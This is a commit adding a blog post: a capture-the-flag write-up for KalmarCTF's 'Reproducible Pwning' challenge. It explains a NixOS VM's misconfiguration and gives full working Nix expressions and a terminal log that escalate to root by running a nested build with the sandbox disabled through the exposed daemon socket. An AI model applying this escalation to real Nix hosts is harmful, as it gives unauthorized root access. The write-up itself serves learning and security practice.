reproducible pwning
This commit is contained in:
parent
06267b2bf7
commit
c12a6dd830
1 changed files with 295 additions and 0 deletions
295
content/posts/reproducible-pwning-writeup.md
Normal file
295
content/posts/reproducible-pwning-writeup.md
Normal file
|
|
@ -0,0 +1,295 @@
|
|||
+++
|
||||
date = "2024-03-16"
|
||||
draft = false
|
||||
path = "/blog/reproducible-pwning-writeup"
|
||||
tags = ["ctf", "nix"]
|
||||
title = "KalmarCTF: Reproducible Pwning writeup"
|
||||
+++
|
||||
|
||||
I was making memes in the CTF room until someone told me Nix showed up
|
||||
on a CTF, and well. It doesn't take that much to tempt me.
|
||||
|
||||
Reproducible Pwning is a challenge written by
|
||||
[niko](https://hachyderm.io/@nrab), which involves a NixOS VM you're supposed
|
||||
to root. The build user is not notably privileged.
|
||||
|
||||
There is a flag in `/data` which is mounted from the host via some means. That
|
||||
directory is only readable by root.
|
||||
|
||||
There is a patch to the Nix evaluator. Interesting:
|
||||
|
||||
```patch
|
||||
diff --git a/src/libutil/config.cc b/src/libutil/config.cc
|
||||
index 37f5b50c7..fd824ee03 100644
|
||||
--- a/src/libutil/config.cc
|
||||
+++ b/src/libutil/config.cc
|
||||
@@ -1,3 +1,4 @@
|
||||
+#include "logging.hh"
|
||||
#include "config.hh"
|
||||
#include "args.hh"
|
||||
#include "abstract-setting-to-json.hh"
|
||||
@@ -17,6 +18,16 @@ Config::Config(StringMap initials)
|
||||
|
||||
bool Config::set(const std::string & name, const std::string & value)
|
||||
{
|
||||
+ if (name.find("build-hook") != std::string::npos
|
||||
+ || name == "accept-flake-config"
|
||||
+ || name == "allow-new-privileges"
|
||||
+ || name == "impure-env") {
|
||||
+ logWarning({
|
||||
+ .msg = hintfmt("Option '%1%' is too dangerous, skipping.", name)
|
||||
+ });
|
||||
+ return true;
|
||||
+ }
|
||||
+
|
||||
bool append = false;
|
||||
auto i = _settings.find(name);
|
||||
if (i == _settings.end()) {
|
||||
```
|
||||
|
||||
The machine is configured with the following NixOS module, which I pulled out
|
||||
of the included flake. The rest of the flake is normal stuff. There are a few
|
||||
things that stand out to me:
|
||||
|
||||
- sudo is disabled, polkit is disabled: we are probably not looking for some
|
||||
setuid exploit
|
||||
- There are some *extremely* nonstandard Nix config settings being applied
|
||||
|
||||
```nix
|
||||
({pkgs, ...}: {
|
||||
nixpkgs.hostPlatform = "x86_64-linux";
|
||||
nixpkgs.overlays = [
|
||||
(final: prev: {
|
||||
# JADE: likely vulnerable to puck's CVE, but I doubt that is the bug cuz they
|
||||
# added a patch and there is other funny business up.
|
||||
nix = final.nixVersions.nix_2_13.overrideAttrs {
|
||||
patches = [./nix.patch];
|
||||
# JADE: due to broken integration tests, almost certainly
|
||||
doInstallCheck = false;
|
||||
};
|
||||
})
|
||||
];
|
||||
|
||||
# JADE: no interesting setuid binaries
|
||||
security = {
|
||||
sudo.enable = false;
|
||||
polkit.enable = false;
|
||||
};
|
||||
|
||||
systemd.services.nix-daemon.serviceConfig.EnvironmentFile = let
|
||||
# JADE: here is the wacky part of the config.
|
||||
# This exposes the Nix daemon socket inside the sandbox (this is mostly
|
||||
# never the case unless using recursive-nix). So we are going to
|
||||
# be running a nix build inside a nix build to do something.
|
||||
sandbox = pkgs.writeText "nix-daemon-config" ''
|
||||
extra-sandbox-paths = /tmp/daemon=/nix/var/nix/daemon-socket/socket
|
||||
'';
|
||||
# JADE: I don't know what this does, so we are going to be reading some C++Nix
|
||||
# source code. But it sure smells like running the build as root.
|
||||
buildug = pkgs.writeText "nix-daemon-config" ''
|
||||
build-users-group =
|
||||
'';
|
||||
in
|
||||
# JADE: Sets additional config files to only the nix daemon. This is
|
||||
# documented in the Nix manual.
|
||||
pkgs.writeText "env" ''
|
||||
NIX_USER_CONF_FILES=${sandbox}:${buildug}
|
||||
'';
|
||||
})
|
||||
```
|
||||
|
||||
Here is the rest of the module which is uninteresting:
|
||||
|
||||
{% codesample(desc="`boring-module.nix`") %}
|
||||
```nix
|
||||
{ ... }: {
|
||||
# JADE: what the heck is this? It seems like some kind of kernel-problems
|
||||
# storage thing. Later found out this is nothing.
|
||||
environment.etc."systemd/pstore.conf".text = ''
|
||||
[PStore]
|
||||
Unlink=no
|
||||
'';
|
||||
|
||||
users.users.root.initialHashedPassword = "x";
|
||||
users.users.user = {
|
||||
isNormalUser = true;
|
||||
initialHashedPassword = "";
|
||||
group = "user";
|
||||
};
|
||||
users.groups.user = {};
|
||||
|
||||
system.stateVersion = "22.04";
|
||||
|
||||
services.openssh = {
|
||||
enable = true;
|
||||
settings.PermitRootLogin = "no";
|
||||
};
|
||||
|
||||
# JADE: save some image size
|
||||
environment.noXlibs = true;
|
||||
documentation.man.enable = false;
|
||||
documentation.doc.enable = false;
|
||||
fonts.fontconfig.enable = false;
|
||||
|
||||
nix.settings = {
|
||||
# JADE: this option has no interesting security impact, just whether you
|
||||
# can build during evaluation phase.
|
||||
allow-import-from-derivation = false;
|
||||
experimental-features = ["flakes" "nix-command" "repl-flake" "no-url-literals"];
|
||||
};
|
||||
}
|
||||
```
|
||||
{% end %}
|
||||
|
||||
So, to sum up:
|
||||
- We have a Nix daemon socket in the sandbox.
|
||||
- We are running builds with some weird group.
|
||||
- Several config settings that make trusted users effectively root are
|
||||
blocked by the patch. Interesting. We probably become a trusted user then.
|
||||
|
||||
So like, let's run some build.
|
||||
|
||||
```nix
|
||||
let
|
||||
nixpkgs = builtins.fetchTarball {
|
||||
url = "https://github.com/nixos/nixpkgs/archive/6e2f00c83911461438301db0dba5281197fe4b3a.tar.gz";
|
||||
"sha256" = "sha256:0bsw31zhnnqadxh2i2fgj9568gqabni3m0pfib806nc2l7hzyr1h";
|
||||
};
|
||||
pkgs = import nixpkgs {};
|
||||
in
|
||||
pkgs.runCommand "meow" { buildInputs = [ pkgs.nixVersions.nix_2_13 ]; PKGS = pkgs.path; } ''
|
||||
id -a
|
||||
''
|
||||
```
|
||||
|
||||
This gives me:
|
||||
|
||||
```
|
||||
this derivation will be built:
|
||||
/nix/store/958afc87nsfhwlm6b62z2xksmlaawsqg-meow.drv
|
||||
building '/nix/store/958afc87nsfhwlm6b62z2xksmlaawsqg-meow.drv'...
|
||||
uid=1000(nixbld) gid=100(nixbld) groups=100(nixbld)
|
||||
```
|
||||
|
||||
Hm. Boring, I was expecting to be root already.
|
||||
|
||||
But, why is there a socket in there? Let's try invoking another build inside
|
||||
our build, maybe? And, based on the assumption we must be trusted user (since I
|
||||
can't think of any other reason interaction with the bind-mounted socket would
|
||||
be different from inside the sandbox), let's try just turning off the sandbox
|
||||
in the inner build and see what happens?
|
||||
|
||||
```nix
|
||||
let
|
||||
nixpkgs = builtins.fetchTarball {
|
||||
url = "https://github.com/nixos/nixpkgs/archive/6e2f00c83911461438301db0dba5281197fe4b3a.tar.gz";
|
||||
"sha256" = "sha256:0bsw31zhnnqadxh2i2fgj9568gqabni3m0pfib806nc2l7hzyr1h";
|
||||
};
|
||||
pkgs = import nixpkgs {};
|
||||
# dont worry about the contents quite yet
|
||||
hax = pkgs.writeText "hax" (builtins.readFile ./stage2.nix);
|
||||
in
|
||||
pkgs.runCommand "meow" { buildInputs = [ pkgs.nixVersions.nix_2_13 ]; PKGS = pkgs.path; } ''
|
||||
id -a
|
||||
nix-build --option sandbox false --extra-experimental-features 'flakes nix-command' --store unix:///tmp/daemon ${hax}
|
||||
''
|
||||
```
|
||||
|
||||
and `stage2.nix`:
|
||||
|
||||
```nix
|
||||
let
|
||||
pkgs = import (builtins.getEnv "PKGS") { };
|
||||
in
|
||||
pkgs.runCommand "meow2" { } ''
|
||||
echo MEOW2
|
||||
id -a
|
||||
''
|
||||
```
|
||||
|
||||
This outputs:
|
||||
|
||||
```
|
||||
this derivation will be built:
|
||||
/nix/store/iynjhk5a5ymp26cbyp22l15ix4lrp2f6-meow.drv
|
||||
building '/nix/store/iynjhk5a5ymp26cbyp22l15ix4lrp2f6-meow.drv'...
|
||||
uid=1000(nixbld) gid=100(nixbld) groups=100(nixbld)
|
||||
this derivation will be built:
|
||||
/nix/store/cyw7kaqazdpgpna0jmaw7cw5348srvv3-meow2.drv
|
||||
building '/nix/store/cyw7kaqazdpgpna0jmaw7cw5348srvv3-meow2.drv'...
|
||||
MEOW2
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
|
||||
Welp, I am root. Change stage 2 to `cat /data/*` and we have a flag:
|
||||
|
||||
```
|
||||
[user@nixos:~]$ cat >stage1.nix <<-'EOF'
|
||||
> let
|
||||
nixpkgs = builtins.fetchTarball {
|
||||
url = "https://github.com/nixos/nixpkgs/archive/6e2f00c83911461438301db0dba5281197fe4b3a.tar.gz";
|
||||
"sha256" = "sha256:0bsw31zhnnqadxh2i2fgj9568gqabni3m0pfib806nc2l7hzyr1h";
|
||||
};
|
||||
pkgs = import nixpkgs {};
|
||||
hax = pkgs.writeText "hax" (builtins.readFile ./stage2.nix);
|
||||
in
|
||||
pkgs.runCommand "meow" { buildInputs = [ pkgs.nixVersions.nix_2_13 ]; PKGS = pkgs.path; } ''
|
||||
id -a
|
||||
nix-build --option sandbox false --extra-experimental-features 'flakes nix-command' --store unix:///tmp/daemon ${hax}
|
||||
''
|
||||
> EOF
|
||||
|
||||
[user@nixos:~]$ cat >stage2.nix <<-'EOF'
|
||||
> let
|
||||
pkgs = import (builtins.getEnv "PKGS") { };
|
||||
in
|
||||
pkgs.runCommand "meow2" { } ''
|
||||
echo MEOW2
|
||||
id -a
|
||||
ls / || true
|
||||
ls /data || true
|
||||
cat /data/*
|
||||
''
|
||||
> EOF
|
||||
|
||||
[user@nixos:~]$ nix-build stage1.nix
|
||||
warning: Nix search path entry '/nix/var/nix/profiles/per-user/root/channels' does not exist, ignoring
|
||||
these 2 derivations will be built:
|
||||
/nix/store/gzniydj0mayvzs7hin3v3j1643fjzrq3-hax.drv
|
||||
/nix/store/m4gjzvkjks5n1zr54cxjzmwav0g9zzj1-meow.drv
|
||||
these 11 paths will be fetched (3.92 MiB download, 23.41 MiB unpacked):
|
||||
<SNIP>
|
||||
building '/nix/store/gzniydj0mayvzs7hin3v3j1643fjzrq3-hax.drv'...
|
||||
warning: Option 'accept-flake-config' is too dangerous, skipping.
|
||||
warning: Option 'allow-new-privileges' is too dangerous, skipping.
|
||||
warning: Option 'build-hook' is too dangerous, skipping.
|
||||
warning: Option 'post-build-hook' is too dangerous, skipping.
|
||||
warning: Option 'pre-build-hook' is too dangerous, skipping.
|
||||
building '/nix/store/m4gjzvkjks5n1zr54cxjzmwav0g9zzj1-meow.drv'...
|
||||
uid=1000(nixbld) gid=100(nixbld) groups=100(nixbld)
|
||||
this derivation will be built:
|
||||
/nix/store/nv5j8z6w8zw0s6gjrmajy0wn7f2azfc0-meow2.drv
|
||||
warning: Option 'accept-flake-config' is too dangerous, skipping.
|
||||
warning: Option 'allow-new-privileges' is too dangerous, skipping.
|
||||
warning: Option 'build-hook' is too dangerous, skipping.
|
||||
warning: Option 'post-build-hook' is too dangerous, skipping.
|
||||
warning: Option 'pre-build-hook' is too dangerous, skipping.
|
||||
building '/nix/store/nv5j8z6w8zw0s6gjrmajy0wn7f2azfc0-meow2.drv'...
|
||||
MEOW2
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
bin dev home lib64 proc run sys usr
|
||||
data etc lib nix root srv tmp var
|
||||
flag
|
||||
kalmar{0nlyReproduc1bleMisconfigurationsH3R3}
|
||||
```
|
||||
|
||||
I was informed later that I found an unintended solution, and one was not
|
||||
supposed to "simply set `sandbox = false`". The intended solution was to either
|
||||
use the `diff-hook` setting which is run as the daemon's user (like
|
||||
`post-build-hook` and `build-hook` which were conspicuously also banned), or
|
||||
abuse being root to tamper with the inputs to the derivation and overwriting
|
||||
something run by a privileged user.
|
||||
|
||||
I don't think the unintended solution was that bad, though, because once you
|
||||
are trusted user, it is assumed in the Nix codebase that you can just root the
|
||||
box.
|
||||
Loading…
Add table
Add a link
Reference in a new issue